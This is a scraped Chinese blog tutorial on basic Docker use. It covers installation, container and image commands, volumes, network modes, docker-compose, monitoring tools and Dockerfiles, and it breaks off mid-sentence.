privileged=true为开启privileged，（开启privileged后，容器内部的root才拥有真正的root权限，否则容器的root只是普通用户权限）\n容器数据卷用于数据的持久化（独立于容器的生命周期），可绕过联合文件系统来达到持续存在或者共享数据的目的，docker不会在删除容器时，删除容器挂载的数据卷，数据卷指定容器内部路径，任何在该路径存储的数据，都会被映射到宿主机指定的那个目录下\n在数据卷中的任何更改都不会认为是镜像的更新，而且数据卷中的更改是实时生效的（不需要重启容器之类的，哪怕容器没有启动），数据卷的生命周期长（可持续到没有容器使用它为止）\n数据卷被用于容器和宿主机之间的互通互联，在宿主机中更新的文件，会实时在容器中生效\ndocker inspect 镜像名或者镜像id # 获取容器/镜像的元数据\n数据卷在该镜像的元数据的Mounts属性中找到\n数据卷默认可读可写（rw），可通过ro来限制容器内部只能读，不能写\n默认情况下\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw – privileged=true registry\n因为rw是默认的，可以省略不写\n限制容器只能读取数据卷，不能写（ro，read only）\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro – privileged=true registry\n数据卷的继承（–volumes-from）\ndocker run -it – privileged=true –volumes-from 容器1 –name 容器2 registry\n容器2继承容器1的数据卷规则（哪怕容器1被删除了或者停止运行了，依然不会影响到容器2的数据卷）\ndocker network\ndocker network可用于容器之间的互联以及通信（端口映射），可通过服务名来直接通信（不受IP变动而影响）\ndocker会默认创建一个叫docker0的虚拟网桥（bridge网络模式）\ndocker0网桥会在内核层连通其他网络网卡和虚拟网卡，实现所有的容器和本地主机的网络连接（同一个物理网络）\ndocker会默认创建三个网络模式，分别为bridge（默认），host，none\n可通过docker network ls命令查看\n创建网络\ndocker network create hallo\n删除网络\ndocker network rm hallo\n查看网络的详细信息\ndocker network inspect bridge\nbridge网络模式：为容器分配和设置IP，并且将容器分配到docker0网桥（如果不指定-network，创建的容器默认在该模式上）（–network bridge，可忽略）\nhost网络模式：容器不会虚拟网卡，而是直接使用宿主机的ip和端口和外界通信（不需要额外进行NAT转换，没有独立的Network namespace，而是和宿主机共用一个Network namespace）（–network host）\nnone网络模式：该模式的容器有自己的独立网络规则（Network namespace），但是没有进行配置，需要手动配置docker容器网络（发挥网络定制功能，没有虚拟网卡，没有IP等等网络信息），在该模式下只有一个127.0.0.1的本地网络回环接口（lo）（–network none）\ncontainer网络模式：该模式下的容器不会配置自己的IP，而是和指定的容器共享IP和端口范围（网络共用，文件和进程隔离）（–network container:指定容器名或者容器ID）\n自定义网络模式（可通过服务名（容器名/主机名）来通信，docker network create hallo）\ndocker-compose容器编排\ndocker-Compose是Docker官方提供的Docker容器集群快速编排工具，用于管理多个docker容器组成的应用，通过docker-compose.yml配置文件来管理多个容器之间的调用关系\n官方文档https://docs.docker.com/compose/\n下载文档：https://docs.docker.com/compose/install/\n下载docker-Compose sudo curl -L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)” -o /usr/local/bin/docker-compose\n添加写的权限 sudo chmod +x /usr/local/bin/docker-compose\n测试是否安装完成 docker-compose –version\n构建并且启动容器（执行docker-compose.yml配置文件）（加参数-d为启动服务并且后台运行） docker-compose up\n构建或者重新构建服务 docker-compose build\n删除指定服务的容器 docker-compose rm 容器名\n停止并且删除容器，镜像，网络，卷 docker-compose down\n进入容器 docker-compose exec 服务id\n查看当前docker-compose编排的全部容器 docker-compose top\n查看当前docker-compose编排的容器进程 docker-compose ps\n停止docker-compose服务 docker-compose stop\n启动docker-compose服务 docker-compose start\n重启docker-compose服务 docker-compose restart\n检查配置文件（-q参数表示当配置文件出现问题时才输出信息） docker-compose config\n容器的7种状态：\ncreated（已创建） restarting（重启中） running或up（运行中） removing（迁移中） paused（暂停） exited（停止） dead（死亡）\ndocker-compose.yml配置文件\nversion: \"3.9\"\rservices:\rweb:\rbuild:\rcontext: . dockerfile: Dockerfile_test\rports:\r- \"5000:5000\"\rvolumes:\r- /app/test:/data/app\rlinks:\r- redis\rnetworks:\r- hallo_net\rredis:\rimage: redis\rcommand: redis-server /etc/redis/redis.conf\rnetworks:\rhallo_net:\rversion字段为版本号（具体支持的版本和docker-compose安装的版本有关，具体看实质版本），services字端表示服务容器，services字端下面的服务名的image字段为从指定镜像中启动容器（镜像可本地，可仓库或者镜像ID），ports字段为端口映射，networks字段为指定网络模式，volumes字段为容器数据卷\n外面那个networks字段将会创建hallo_net自定义网络模式，处理基于指定镜像外，还可以基于Dockerfile，build字段下的dockerfile字段就是指定Dockerfile文件所在的路径，context字段为构建的路径，links字段为链接到指定服务中的容器\n一般都是通过Dockerfile自动化构建镜像，然后基于这个镜像使用docker-compose管理容器\nPortainer可视化工具\nPortainer是一个Docker轻量级的可视化工具（Portainer官网，https://www.portainer.io，官网文档：https://docs.portainer.io/v/ce-2.11/start/install/server/docker/linux）\n可直接pull Portainer的镜像来安装\ndocker pull portainer/portainer\ndocker run -d -p 8000:8000 -p 9443:9443 --name portainer \\\r--restart=always \\\r-v /var/run/docker.sock:/var/run/docker.sock \\\r-v portainer_data:/data \\\rportainer/portainer-ce:2.11.1\r启动完毕后，访问1192.168.1.110:9443/，进行设置admin用户和密码\n如果是监控本地的docker，选择local\nCAdvisor+InfluxDB+Granfana(CIG重量级容器监控)\ndocker依赖多种namespace来进行隔离（例如User Namespace，容器用户和宿主用户隔离，process id Namespace，隔离进程id，network Namespace，隔离网络设备，端口号，mount Namespace，隔离挂载等等），依赖于cgroup进行资源管理和控制（例如cpu，内存），namespace和cgroup都由自Linux内核提供\ndocker使用了6种namespace，分别是，mount namespace，uts namespace，ipc namespace，network namespace，pid namespace，user namespace\nmount Namespace：隔离不同进程的挂载数据，保证容器的挂载操作不会影响到宿主的挂载\nsudo unshare –mount –fork /bin/bash # 创建一个mount Namespace，使用/bin/bash进程，在该挂载任何文件，都不会作用于宿主\npid namespace是隔离进程的pid的，也就是说宿主是看不到容器的应用pid，容器也看不到宿主的pid\nsudo unshare –pid –fork –mount-proc /bin/bash\n安全容器：容器运行在虚拟机中，具备虚拟机的安全隔离性，例如kata Container，使用guest kernel（精简了内核，专门提供给容器运行，减低资源的消耗）\n因为docker容器共享宿主内核，存在安全性，所以可使用安全容器来隔离宿主内核，安全容器的内核是完全独立于宿主的内核（虚拟化技术）\ndocker容器资源限制\ndocker run -it –cpus=4 -m=8192 –pids-limit=1000 ubuntu /bin/bash # 启动ubuntu镜像，使用/bin/bash作为终端，资源被设置为4核8g，并且只能创建1000个pid\ndocker stats ubuntu # 查看容器的资源使用情况\ncAdvisor是谷歌开源的容器监控工具，不但可以监控容器的资源使用情况，还可以监控宿主的资源使用情况，可查看容器的历史资源使用情况\ndocker run \\\r--volume=/:/rootfs:ro \\\r--volume=/var/run:/var/run:ro \\\r--volume=/sys:/sys:ro \\\r--volume=/var/lib/docker/:/var/lib/docker:ro \\\r--volume=/dev/disk/:/dev/disk:ro \\\r--publish=8080:8080 \\\r--detach=true \\\r--name=cadvisor \\\r--privileged \\\r--device=/dev/kmsg \\\rgcr.io/cadvisor/cadvisor:$VERSION\r访问http://localhost:8080\n容器的资源限制通过/sys/fs/cgroup/memory/docker下的，目录名为容器id，其中memory.limit_in_bytes是该容器的内存限制文件，memory.usage_in_bytes是该容器的内存使用情况，proc/容器的pid/net/dev是该容器的网络使用情况，cpuset.cpus是cpu限制使用核数，cpu.cfs_period_us是一个cpu核心的带宽（单位微秒，容器的cpu总带宽=cpu核心数*单个cpu核心的带宽），cpu.cfs_quota_us是可使用cpu带宽（单位微秒，-1为不限制）\n容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的，所以启动容器监控工具，要映射数据卷/sys:到容器中\nkubernetes简称k8s，用来自动化容器的部署，监控，容器负载均衡等等\nmaster是容器集群的控制系统，可以用来监控容器的状态，调度负载均衡\nnode是k8s的工作节点，可以接收master的指令，根据指令来创建和销毁Pod等等\nPod是容器的容器，可以包含多个容器，是k8s中最小的可部署单元，pod内部的网络是互通的，每一个pod都有自己的虚拟ip\nk8s将弃用dockershim（dockershim是k8s内置的一个组件，该组件可让k8s能够通过CRI（Container Runtime Interface）来操作docker）\n安装docker\n配置docker\n添加docker官方GPGkey\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\nsudo apt-key fingerprint 0EBFCD88\n安装依赖\nsudo apt install apt-transport-https ca-certificates curl software-properties-common\n设置docker仓库\nsudo add-apt-repository “deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable”\n重新加载源\nsudo apt update\n如果报错，可以手动在/etc/apt/source.list添加\ndeb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable\nsudo apt dist-upgrade（智能处理包依赖，会自己安装新软件或者删除原有软件包来完成升级）\n安装docker\nsudo apt install docker-ce docker-ce-cli containerd.io\n","wordCount":"891","inLanguage":"en","datePublished":"2021-06-16T09:34:00Z","dateModified":"2021-06-16T09:34:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/18/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Docker容器的简单使用</h1><div class=post-meta><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Docker%e5%ae%b9%e5%99%a8%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行</p><p>可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题</p><p>将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境</p><p>在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现</p><p>运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）</p><p>docker的多数项目和工具是使用golang编写的</p><p>Docker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的</p><p>Docker三大件：镜像，容器，仓库</p><p>镜像被用来创建容器（而且镜像文件是复用，只可读的）</p><p>容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除</p><p>仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/</p><p>Docker官网文档：https://docs.docker.com/</p><p>Docker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器</p><p>Docker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）</p><p>如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）</p><p>当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）</p><p>如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成</p><p>网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成</p><p>安装docker（环境为ubuntu20.04）</p><p>如果之前安装过docker，需要先卸载</p><p>sudo apt remove docker docker-engine docker.io containerd runc</p><p>docker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装</p><p>安装依赖</p><p>sudo apt install ca-certificates curl gnupg lsb-release</p><p>配置docker官方的GPG密钥</p><p>curl -fsSL <a href=https://download.docker.com/linux/ubuntu/gpg>https://download.docker.com/linux/ubuntu/gpg</a> | sudo gpg &ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg</p><p>配置稳定Docker CE源</p><p>sudo add-apt-repository<br>&ldquo;deb [arch=amd64] <a href=https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian>https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian</a><br>$(lsb_release -cs)<br>stable&rdquo;</p><p>安装docker引擎</p><p>sudo apt install docker-ce docker-ce-cli containerd.io</p><p>或者直接使用docker官方提供的sh脚本</p><p>curl -s <a href=https://get.docker.com>https://get.docker.com</a> | sh （不推荐使用）</p><p>如果需要安装指定版本的docker，可指定docker-ce和docker-ce-cli的版本</p><p>查看源仓库中可安装的docker的版本</p><p>apt-cache madison docker-ce</p><p>启动docker服务</p><p>service docker start</p><p>关闭docker服务</p><p>service docker stop</p><p>重启docker服务</p><p>service docker restart</p><p>检查是否安装成功（创建一个测试容器，并且执行该容器，该容器会返回信息并且退出）</p><p>sudo docker run hello-world</p><p>或者docker version</p><p>查看所有镜像</p><p>docker image ls或者docker images</p><p>查看所有容器</p><p>docker ps</p><p>docker ps -a # 输出所有容器（包括未运行的）</p><p>docker ps -q # 只输出容器id</p><p>docker ps -a -q # 输出所有容器id</p><p>docker ps -n 5 # 输出最近创建的5个容器</p><p>docker ps -l # 显示最近创建的容器</p><p>REPOSITORY：镜像名称，TAG：镜像的标签（一般为该镜像的版本号），IMAGE ID：镜像id，CREATED：镜像创建时间，SIZE：镜像大小</p><p>镜像id实质上为该镜像的sha256</p><p>注意：如果不指定版本，将默认使用latest版本的镜像</p><p>docker system df # 查看Docker的磁盘使用情况</p><p>docker stop 容器id（或者容器名都可以） -f # 关闭指定容器，-f为强制删除</p><p>docker stop $(docker ps -a -q) # 关闭所有容器</p><p>删除指定容器</p><p>docker image rm 容器名称 # 例如 docker image rm centos</p><p>docker rmi 容器id # 删除指定镜像</p><p>docker rmi $(docker images -a -q) # 删除所有镜像</p><p>查看所有正在运行的容器</p><p>docker container ls或者docker ps</p><p>查看所有的容器（包括已经停止运行的）</p><p>docker container ls &ndash;all</p><p>运行指定容器</p><p>docker container run 镜像名</p><p>或者</p><p>docker run 镜像名</p><p>启动容器</p><p>docker start 容器ID或者容器名</p><p>重启容器</p><p>docker restart 容器ID或者容器名</p><p>停止容器</p><p>docker stop 容器ID或者容器名</p><p>强制停止运行容器</p><p>docker kill 容器ID或者容器名</p><p>删除已经停止运行的容器</p><p>docker rm 容器ID</p><p>注意：rm是删除容器，rmi是删除镜像</p><p>docker exec -it 容器ID bash # 在容器中打开新终端，并且启动新的进程，在这个情况下使用exit退出不会导致容器的暂停，而attach会导致容器的暂停，推荐使用exec</p><p>docker attach 容器ID # 直接进入容器启动命令的终端，不启动新的进程</p><p>docker run -it ubuntu /bin/bash # i表示以交互模式运行容器，t为给容器创建一个伪终端（搭配使用就是交互式容器）</p><p>docker run &ndash;name=&ldquo;容器的新名称&rdquo; 镜像名 # 为容器指定新名称，如果不指定，容器名称默认为镜像名</p><p>docker run -d 镜像名 # 后台运行容器并且返回容器id（以守护进程的方式后台运行容器）</p><p>docker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口</p><p>docker run -P 镜像名 # 随机端口映射，不常用</p><p>获取容器（从镜像源（docker hub）中下载到本地，docker提供大量已经配置好的容器，可以直接下载使用，修改）</p><p>docker image pull 镜像名 # 拉取某个镜像</p><p>docker search 镜像名 # 搜索查找某个镜像</p><p>NAME：容器仓库名称，DESCRIPTION：容器描述，STARS：类似github的star，关注，喜欢
+sudo apt install docker-ce docker-ce-cli containerd."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Docker容器的简单使用","item":"https://chenjunlinabc.github.io/posts/18/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Docker容器的简单使用","name":"Docker容器的简单使用","description":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg \u0026ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable\u0026rdquo;\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.","keywords":["docker"],"articleBody":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable”\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.io\n或者直接使用docker官方提供的sh脚本\ncurl -s https://get.docker.com | sh （不推荐使用）\n如果需要安装指定版本的docker，可指定docker-ce和docker-ce-cli的版本\n查看源仓库中可安装的docker的版本\napt-cache madison docker-ce\n启动docker服务\nservice docker start\n关闭docker服务\nservice docker stop\n重启docker服务\nservice docker restart\n检查是否安装成功（创建一个测试容器，并且执行该容器，该容器会返回信息并且退出）\nsudo docker run hello-world\n或者docker version\n查看所有镜像\ndocker image ls或者docker images\n查看所有容器\ndocker ps\ndocker ps -a # 输出所有容器（包括未运行的）\ndocker ps -q # 只输出容器id\ndocker ps -a -q # 输出所有容器id\ndocker ps -n 5 # 输出最近创建的5个容器\ndocker ps -l # 显示最近创建的容器\nREPOSITORY：镜像名称，TAG：镜像的标签（一般为该镜像的版本号），IMAGE ID：镜像id，CREATED：镜像创建时间，SIZE：镜像大小\n镜像id实质上为该镜像的sha256\n注意：如果不指定版本，将默认使用latest版本的镜像\ndocker system df # 查看Docker的磁盘使用情况\ndocker stop 容器id（或者容器名都可以） -f # 关闭指定容器，-f为强制删除\ndocker stop $(docker ps -a -q) # 关闭所有容器\n删除指定容器\ndocker image rm 容器名称 # 例如 docker image rm centos\ndocker rmi 容器id # 删除指定镜像\ndocker rmi $(docker images -a -q) # 删除所有镜像\n查看所有正在运行的容器\ndocker container ls或者docker ps\n查看所有的容器（包括已经停止运行的）\ndocker container ls –all\n运行指定容器\ndocker container run 镜像名\n或者\ndocker run 镜像名\n启动容器\ndocker start 容器ID或者容器名\n重启容器\ndocker restart 容器ID或者容器名\n停止容器\ndocker stop 容器ID或者容器名\n强制停止运行容器\ndocker kill 容器ID或者容器名\n删除已经停止运行的容器\ndocker rm 容器ID\n注意：rm是删除容器，rmi是删除镜像\ndocker exec -it 容器ID bash # 在容器中打开新终端，并且启动新的进程，在这个情况下使用exit退出不会导致容器的暂停，而attach会导致容器的暂停，推荐使用exec\ndocker attach 容器ID # 直接进入容器启动命令的终端，不启动新的进程\ndocker run -it ubuntu /bin/bash # i表示以交互模式运行容器，t为给容器创建一个伪终端（搭配使用就是交互式容器）\ndocker run –name=“容器的新名称” 镜像名 # 为容器指定新名称，如果不指定，容器名称默认为镜像名\ndocker run -d 镜像名 # 后台运行容器并且返回容器id（以守护进程的方式后台运行容器）\ndocker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口\ndocker run -P 镜像名 # 随机端口映射，不常用\n获取容器（从镜像源（docker hub）中下载到本地，docker提供大量已经配置好的容器，可以直接下载使用，修改）\ndocker image pull 镜像名 # 拉取某个镜像\ndocker search 镜像名 # 搜索查找某个镜像\nNAME：容器仓库名称，DESCRIPTION：容器描述，STARS：类似github的star，关注，喜欢 OFFICIAL：是否为官方，AUTOMATED：是否为自动构建\ndocker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份（拷贝）到主机中\n导出导入容器（备份容器）\ndocker export 容器id \u003e 文件x.tar # 导出容器\ncar 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器\n修改容器源\n国内容器源\nhttp://hub-mirror.c.163.com # 网易云\nhttps://docker.mirrors.ustc.edu.cn # 中国科技大学\nhttps://mirror.ccs.tencentyun.com # 腾讯云\ndocker run hello-world –registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用\n找到/etc/default/docker 插入\nDOCKER_OPTS=\"–registry-mirror=https://mirror.ccs.tencentyun.com\"\n或者\n找到/etc/docker/daemon.json，插入\n{“registry-mirrors”: [“https://mirror.ccs.tencentyun.com”]} # 可以插入多个源\n然后重启服务\n如果dockerhub满足不了，可以在hub已存在的容器中进行修改（安装，卸载…）\n或者使用Dockerfile，从零开始构建容器\nmkdir hallo \u0026\u0026 cd hallo # 新建一个文件夹，并且进入这个文件夹\nnano Dockerfile # 新建个文件，并且修改它\nFROM ubuntu:18.04 RUN apt -y update \u0026\u0026 apt install -y nginx \u0026\u0026 apt install -y mariadb-server \u0026\u0026 apt install -y php*\nFROM：基础镜像,操作都是基于这个基础镜像，RUM：执行指定指令（shell）\n其他参数，MAINTAINER：容器创建者，CMD：当容器启动时执行命令，只能有一条CMD命令，多条执行最后一条，容器run命令会覆盖cmd命令\nENTRYPOINT：当容器启动时执行命令，不可覆盖\nUSER：指定哪个用户来启动容器\nEXPOSE：容器内部开启端口，一般用于容器端口映射到主机端口上\nENV：环境变量\nADD：复制或者下载到容器，请确保本地或者docker仓库中有需要add的文件，例如：\nADD 文件路径（或者url） 目标容器的绝对路径\nVOLUME：切换目录用，类似cd\n打包容器\ndocker build -t 容器名 .\n这个“.”表示为当前路径\n如果正在运行docker，想退出可以使用ctrl+D，例如\n在centos中体验Ubuntu系统\n例如docker container run -it ubuntu bash\n如果想退出docker，可以在docker（run进去的容器）中输入exit\n如果想docker中的容器不停止， 快捷键 ctrl+p+q\n推送本地容器到docker仓库中\n首先需要一个docker仓库账号，例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务，\ndocker login -u 账号 -p 密码 # 登录DockerHub账号\ndocker push hallo_word:yes\ndocker pull会默认推送带有latest标签的容器到本地，所以推荐把容器标签修改为latest，或者直接指定要推送哪个容器，精确到标签\ndocker tag hallo_word:yes hallo_word:latest\n推送到第三方仓库（例如：阿里容器镜像服务）\ndocker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地\ndocker login –username=xxx@qq.com registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名，密码为开通服务时设置的密码，如果是私有仓库，那么需要推送容器到本地之前执行，推送容器到本地之后再执行一次\ndocker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 